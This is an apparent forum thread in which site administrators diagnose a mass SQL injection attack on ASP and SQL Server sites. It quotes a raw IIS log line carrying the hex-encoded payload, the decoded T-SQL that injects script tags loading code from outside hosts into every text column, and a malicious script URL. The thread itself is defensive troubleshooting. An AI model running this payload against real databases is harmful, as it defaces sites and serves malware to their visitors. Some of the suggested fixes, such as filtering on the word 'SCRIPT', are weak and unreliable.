I don't know about this kind of thing but if you go to
http://www.dota11.cn/m.js

this is the file that you get, maybe it shed some light on what happened.

I'd be interested if anyone has a solution to this problem as we're suffering much the same thing - our m.js files are coming from a slightly different URL, but the end result is the same.

This seems to have worked for me on a supposedly SQL Injection-proofed ASP website that was being attacked; hopefully it will work for you.

- Clean the data; restore from the last known good backup.
- Immediately set the database properties to Read-only=True (right-click the database name in SQL Server management studio, select properties, edit the Read-only property, save the settings).
- Examine the IIS logs, searching for the domain that is showing up in the malicious script statments (in my case, dota11). The lines in the IIS logs that contain the script statement should point you toward the ASP file that is vulnerable.
- Fix the ASP code. In my case, a request variable was being directly used by the code without being checked, and that is how the attack was inserting the malicious script. I added a call to InStr(UCASE(requestVariable),"SCRIPT") to filter out any values containing scripts.
- Re-enable the database to Read-only=True after being reasonably sure that the ASP code is no longer vulnerable.

Thanks for the suggestions; unfortunately, at least so far, there's nothing cropping up in the IIS logs to give us a hint of which page is open - which suggests they're not using an insecure querystring to do the damage, but somehow managing to pass the data as form data.

Given all the sites that have been affected (at least so far) have no public write access to the database (only read), and the content management system uses a combination of passwords and session variables to prevent unwanted access, this is getting both more puzzling - and more worrying - by the minute.

ETA - The search has finished and it has brought to light another site that's been affected. This one does have some public write access to the database (bookings and whatnot), but that's run through a fairly strict injection trap to prevent unwanted SQL commands (as are any querystrings, come to that!), while the maintenance is hidden behind an NT logon, so in theory, this shouldn't be possible...

I'm getting the exact same type of injection.
Right now I'm running a search and replace on the entire DB to see how many tables/columns this has changed.

Please do share if you have any update to this.

Thanks.

Update: found this in the IIS logs:

2008-05-23 00:15:23 W3SVC655445 190.000.0.0 POST /display.asp EntryId=8;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0064006F0074006100310031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--|324|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Incorrect_syntax_near_';'. 80 - 58.215.65.96 Mozilla/3.0+(compatible;+Indy+Library) - - 500 0 0


They're targeting a SELECT statement in the ASP file, not an UPDATE or SELECT, and the file does not contain a form.

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C

I've changed the ASP code to check the command line parameter value to make sure that it is numeric before passing it to a SELECT statement in the code.

EntryId = request("EntryId");
If !isNumeric(EntryId)
'bail and deploy SQL injection countermeasures
End If


So, maybe try searching your IIS logs for DECLARE or NVARCHAR or CAST and see what you come with - ?

We have found that in several logs besides the affected sites, BUT, not found it in the logs for all the affected sites - which had made us a little iffy on whether the two things were connected, or whether it was two sets of people attempting to do unpleasant things to our server. We've already taken some steps to block that SQL anyway, but with that decode, that makes things a lot clearer.

Thank you very, very much!